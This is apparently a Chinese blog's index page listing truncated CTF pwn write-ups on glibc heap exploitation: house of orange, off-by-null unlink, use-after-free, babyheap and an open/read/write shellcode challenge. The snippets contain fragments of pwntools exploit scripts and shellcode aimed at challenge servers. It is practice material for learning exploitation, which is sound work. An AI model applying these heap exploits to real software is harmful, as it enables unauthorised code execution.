
glibc 2.24
2.24
Akura@lan
咸鱼………
展开
-
house of orange
house of orange是一道同名题的技术先看一下保护机制,是保护全开的一般做堆题先泄露libc的地址,但是这里没有free这里有个思路修改top chunk的size值,然后malloc一个比这个大的chunk,然后系统调用sysmalloc分配堆,最后top chunk就会被释放,放入unsorted bin,相当于可以达到free一个堆块的效果了可以看到我们已经成功泄露出main arena然后再edit0x10个字节,就可以打印出堆地址然后利用unsorted bin修改_原创 2021-10-16 16:10:57 · 195 阅读 · 0 评论 -
绿城杯 null
题目特征增删改查思路j8题不给libc恶心人,平时也没有用libcsearcher的习惯,这道题给了堆存储的数组,read_input这里有个洞off by null,多申请0x8然后可以覆盖pre_inuse位,那就用unlink来打,修改free_hook。# -*- coding: utf-8 -*-from pwn import *elf=ELF('./1')p=remote('82.157.5.28',51004)libc=ELF('libc6_2.23-0ubu原创 2021-10-01 16:32:56 · 262 阅读 · 0 评论 -
4-main
拿到edit(0x200)的权限原创 2021-09-17 01:03:12 · 139 阅读 · 0 评论 -
2018年强网杯pwn题复现
silent漏洞位置: free后没有给指针置空,edit也没有检查chunk是否free利用思路: 利用uaf把chunk进入fastbin中,构造三个单链表来写free_hook然后getshell原创 2021-08-31 14:13:31 · 265 阅读 · 0 评论 -
pwnable_orw 1
只能用read、open、write函数那我们先open,然后read,最后write打印出来from pwn import*p = remote('node4.buuoj.cn','25548')shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx原创 2021-08-17 00:14:18 · 248 阅读 · 0 评论 -
0ctf_2017_babyheap
思路查看了一下ida后,发现有堆溢出漏洞那可以利用unsorted bin 泄露main arena的地址,然后在malloc_hook处构造fake_chunk ,利用one_gadget在malloc_hook写入函数值,可以getshellps:注意本地libc的问题exp及具体分析from pwn import*context.log_level = 'debug'#p = process('./babyheap')p = remote('node4.buuoj.cn','289原创 2021-08-13 22:10:12 · 186 阅读 · 0 评论 -
Noleak
这道题很有意思,是比较常见的堆题,记录一下思路就是通过unlink改写chunk数组地址为bss段上地址,然后编辑堆就可以在bss上写入shellcode然后去通过unsorted bin构造exp链接:链接#coding:utf8 from pwn import * context(os='linux',arch='amd64') elf = ELF('./timu') libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')原创 2021-09-28 16:54:55 · 173 阅读 · 0 评论